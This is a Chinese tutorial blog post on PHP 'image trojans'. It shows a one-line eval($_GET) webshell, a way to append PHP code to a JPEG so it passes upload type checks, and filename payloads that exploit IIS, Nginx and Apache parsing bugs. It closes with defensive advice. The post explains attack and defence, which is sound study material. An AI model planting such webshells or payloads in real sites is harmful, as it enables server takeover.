什么是木马

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

那,php的木马是长什么样的呢?我们来看下面这段代码:

1
2
<?php
@eval($_GET['tioncico']);

这句话的意思是什么呢?只要在网页上获取到了$_GET['tioncico']的数据,就当成php代码直接执行,例如:

http://test.cn/a/test.jpg/1.php?tioncico=echo%20tioncico;

这个网页内容,我们忽略问号前面的数据,可看到tioncico=echo tioncico;%20是urlencode编码转换

图片木马原理

在本文中,讲到的是图片木马上传,那么该怎么制作图片木马呢?

我们首先要讲到,php上传文件的原理:

1:用户提交post请求,上传文件

2:服务器接收请求,将文件存储到临时文件

3:php解析该临时文件,获得文件类型,文件大小

4:php通过判断文件类型,进行移动临时文件到上传目录

5:php给前端返回上传成功,并返回地址

在第3步,php是如果解析临时文件的呢?

其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9

通过读取文件的字节并转为16进制,即可知道该文件类型是什么:

1
2
3
4
5
6
7
8
9
function fileToHex($file){
    if(file_exists($file)){
        $data file_get_contents($file);
        return bin2hex($data);
    }
    return '';
}
 
echo fileToHex('F:\www\test\a\1.jpg.txt');

这个函数为简单实现,复杂需求需要自行查看:

输出:

很明显,这个图片格式为jpeg

php在底层中已经实现了对图片格式的识别,所以无需我们额外实现,关于文件类型头部的定义,可查看:

https://blog.csdn.net/LiuBuZhuDeFanHua/article/details/82949144

那么问题来了,如果我没改变文件头,然后在最后新增一串php代码,php是怎么识别类型的呢?

我们可以尝试下,在图片文件后面,额外写入一个php文件:

1
2
3
$path 'F:\www\test\a\1.jpg.txt';
 
file_put_contents($path,file_get_contents('./a/1.php'),FILE_APPEND);//1.php是一个木马文件

直接通过txt形式打开,可看到新增的数据

将1.jpg图片直接打开,可发现文件没有损坏:

通过上传文件,发现php识别的也是jpeg:

'

php解析木马原理

大家看以下代码,忽略php实现的东西,只看结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post" name="uploadfile">上传文件:<input type="file" name="upfile"/><br/>
    <input type="submit" value="上传"/>
</form>
<?php
if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){
 $upfile=$_FILES["upfile"];
 //获取数组里面的值
 $name=$upfile["name"];//上传文件的文件名
 $type=$upfile["type"];//上传文件的类型
 $size=$upfile["size"];//上传文件的大小
 $tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
 //判断是否为图片
 switch($type){
 case 'image/pjpeg':$okType=true;
 break;
 case 'image/jpeg':$okType=true;
 break;
 case 'image/gif':$okType=true;
 break;
 case 'image/png':$okType=true;
 break;
    }
 if($okType){
 /**
         *0:文件上传成功
 *1:超过了文件大小,在php.ini文件中设置
 *2:超过了文件的大小MAX_FILE_SIZE选项指定的值
 *3:文件只有部分被上传
 *4:没有文件被上传
 *5:上传文件大小为0
         */
 
 $error=$upfile["error"];
 echo "=======================<br/>";
 echo "上传文件名称是:".$name."<br/>";
 echo "上传文件类型是:".$type."<br/>";
 echo "上传文件大小是:".$size."<br/>";
 echo "上传后系统返回的值是:".$error."<br/>";
 echo "上传文件的临时存放路径是:".$tmp_name."<br/>";
 
 echo "开始移动上传文件<br/>";
 //判断up文件夹是否存在,不存在则创建
 $dir='up/';
 if(!is_dir($dir)){
 mkdir($dir);
        }
 //把上传的临时文件移动到up目录下面
 move_uploaded_file($tmp_name,'up/'.$name);
 $destination="up/".$name;
 echo "=======================<br/>";
 echo "上传信息:<br/>";
 if($error==0){
 echo "文件上传成功啦!";
 echo "<br/>图片预览<br/>";
 echo "<img src=".$destination;
 echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">";
        }else if($error==1){
 echo "超过了文件的大小,在php.ini文件中设置";
        }else if($error==2){
 echo "超过了文件的大小MAX_FILE_SIZE选项中设置";
        }else if($error==3){
 echo "文件只有部分被上传";
        }else if($error==4){
 echo "文件没有被上传";
        }else{
 echo "上传文件大小为0";
        }
 
    }else{
 echo "请上传jpg,gif,png等格式的图片";
    }
}
?>
</body>

这代码很平常,也就是php+html标签的混合型代码,php会解析<?php ?>标签,进行获取并执行php标签内的代码

现在将这份代码换成图片+php标签:

改后缀为php看看能不能执行成功:

很明显,正常运行了,php将<?php标签外的字符当成了正常字符输出,只运行了php的部分.

运行图片文件

到现在,我们已经学会了如何给图片增加木马文件,并了解了图片木马的实现原理,那么,现在该如何在别人的网站执行这个木马呢?给图片改后缀?很明显我们办不到,那该怎么办呢?

我们需要借助漏洞才能执行(这就意味着木马并不是万能的,可以入侵别人的全部网站)

漏洞方法如下

include 漏洞

只要对方的php代码中存在 include xxxx ,这个xxxx可以传入外部参数的时候,

例如有些开发者自己实现的框架中,include controller 这个controller 有做全路径引入的时候

web服务器的pathinfo漏洞

通过和php一起运行的web服务器存在的漏洞进行解析:下段内容参考:https://www.v2ex.com/amp/t/414740/2

IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpg 
IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.php 
Nginx <8.03 空字节代码执行漏洞 1.jpg%00.php 
Apache 解析漏洞 .php.一个无效后缀 
还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,

例如本人使用phpstudy nginx/1.11.5+php7.2.10成功复现:

讲解一下,我网站中存在a/test.jpg,通过访问test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,并且被php调度执行成功,通过get传的tioncico=echo%20%27仙士可牛逼!%27; 参数,在php中解析成功,输出了 仙士可牛逼!

其他漏洞可以自测哦

漏洞防范

1:升级web服务器版本,尽量使用新版本

2:图片最好是存入oss,或者图片上传目录注意不要给执行权限(web服务器执行图片目录的权限)

3:图片可以的话,可以进行二次处理,把木马文件过滤掉

4:永远不要相信用户的输入

其他

刚刚的eval函数木马文件,是不是觉得很简单,很容易识别?

并且,eval函数,可能还是被php禁用的危险函数.那么我们可以用什么呢?

各种木马写法,可以看 https://github.com/tioncico/webshell/tree/master/php

另外提一嘴,既然是可以执行php文件了,完全可以在图片文件中,include 另一个图片文件,等等

本文为仙士可原创文章,转载无需和我联系,但请注明来自仙士可博客www.php20.cn

php图片木马实现原理的更多相关文章

  1. Atitit.图片木马的原理与防范 attilax 总结

    Atitit.图片木马的原理与防范 attilax 总结 1.1. 像图片的木马桌面程序1 1.2. Web 服务端图片木马1 1.3. 利用了Windows的漏洞1 1.4. 这些漏洞不止Windo ...

  2. Atitit。木马病毒原理机密与概论以及防御

    Atitit.木马病毒原理机密与概论以及防御 1. 定时截屏木马1 1.1. QQ聊天与微信聊天木马1 2. 文档木马1 3. 病毒木马的触发方式2 4. 远程木马2 5. 漏洞木马2 6. 病毒木马 ...

  3. PHP上传图片如何防止图片木马?

    segmentfault回答: http://segmentfault.com/q/1010000000507750 一. 其实识别图片木马是很困难的,可以在一张正常的图片里加入一句话木马. 但是只要 ...

  4. thinkphp图片上传+validate表单验证+图片木马检测+缩略图生成

    目录 1.案例 1.1图片上传  1.2进行图片木马检测   1.3缩略图生成   1.4控制器中调用缩略图生成方法 1.案例 前言:在thinkphp框架的Thinkphp/Library/Thin ...

  5. Atitit. 注册表操作查询 修改 api与工具总结 java c# php js python 病毒木马的原理

    Atitit. 注册表操作查询 修改 api与工具总结 java c# php js python 病毒木马的原理 1. reg 工具 这个cli工具接口有,优先使用,jreg的要调用dll了,麻烦的 ...

  6. 使用cmd制作图片木马

    我们可以使用windows下自带的cmd制作图片木马,配合文件包含漏洞可以达到getshell的目的 我们找到一张图片:kiss.jpg 如图: 写好一句话木马:chopper.php 将两者放在同一 ...

  7. iOS开发——多线程篇——快速生成沙盒目录的路径,多图片下载的原理、SDWebImage框架的简单介绍

    一.快速生成沙盒目录的路径 沙盒目录的各个文件夹功能 - Documents - 需要保存由"应用程序本身"产生的文件或者数据,例如:游戏进度.涂鸦软件的绘图 - 目录中的文件会被 ...

  8. js手风琴图片切换实现原理及函数分析

    关键词: js手风琴 js百叶窗 js百页窗 实现原理解读 使用两层for循环实现, 第一层有三个功能,分别给第个li: 添加索引 预设位置 添加事件 第二层有两个功能,整理图片位置: 鼠标的li,以 ...

  9. Jquery 图片走马灯效果原理

    本篇只讲解水平走马灯效果,垂直向上走马灯效果不讲解,原理一样,但是水平走马灯效果有一个小坑.待会讲解 照例先上代码: HTML: <div class="box"> & ...

随机推荐

  1. CENTOS 7 下配置默认网关

    1. ip route 显示和设定路由 1.1 显示路由表 [root@linux-node1 ~]# ip route show default via 192.168.56.2 dev eth0 ...

  2. 10.15 wget:命令行下载工具

    wget命令   用于从网络上下载某些资料,该命令对于能够连接到互联网的Linux系统的作用非常大,可以直接从网络上下载自己所需要的文件. wget的特点如下: 支持断点下载功能. 支持FTP和HTT ...

  3. systemverilog数组类型

  4. unity 2017 卡在 loading界面

    看了网上很多方法,都不奏效. 提供一个简单的方法,不妨一试! 打开其他版本unity,登陆你的账户,再打开unity2017即可!

  5. Java基础之第二章变量

    1. 变量介绍 变量是程序的基本组成单位 概念 变量相当于内存中一个数据存储空间的表示,可以通过变量名可以访问到变量(值). 变量使用 声明变量 int a; 赋值 a = 20; public cl ...

  6. Netty 框架学习 —— Netty 组件与设计

    Channel.EventLoop 和 ChannelFuture 这一节将对 Channel.EventLoop 和 ChannelFuture 类进行讨论,它们组合在一起,可以被认为是 Netty ...

  7. NVIDIA Nsight Systems CUDA 跟踪

    NVIDIA Nsight Systems CUDA 跟踪 CUDA跟踪 NVIDIA Nsight Systems能够捕获有关在概要过程中执行CUDA的信息. 可以在报告的时间轴上收集和呈现以下信息 ...

  8. 看懂redis配置文件

    看懂redis 配置文件: https://blog.csdn.net/liqingtx/article/details/60330555 redis 数据库缓存双写一致性解决方案: https:// ...

  9. spring整合mybatis,ioc容器及声明式事务配置

    步骤: 1.创建jdbc.properties文件,用来管理存放连接数据库的相关信息 jdbc.properties:jdbc.user=root jdbc.password=123456 jdbc. ...

  10. 「题解」NWRRC2017 Grand Test

    本文将同步发布于: 洛谷博客: csdn: 博客园: 简书. 题目 题目链接:洛谷 P7025.gym101612G. 题意概述 给你一张有 \(n\) 个点 \(m\) 条边的无向图,无重边无自环, ...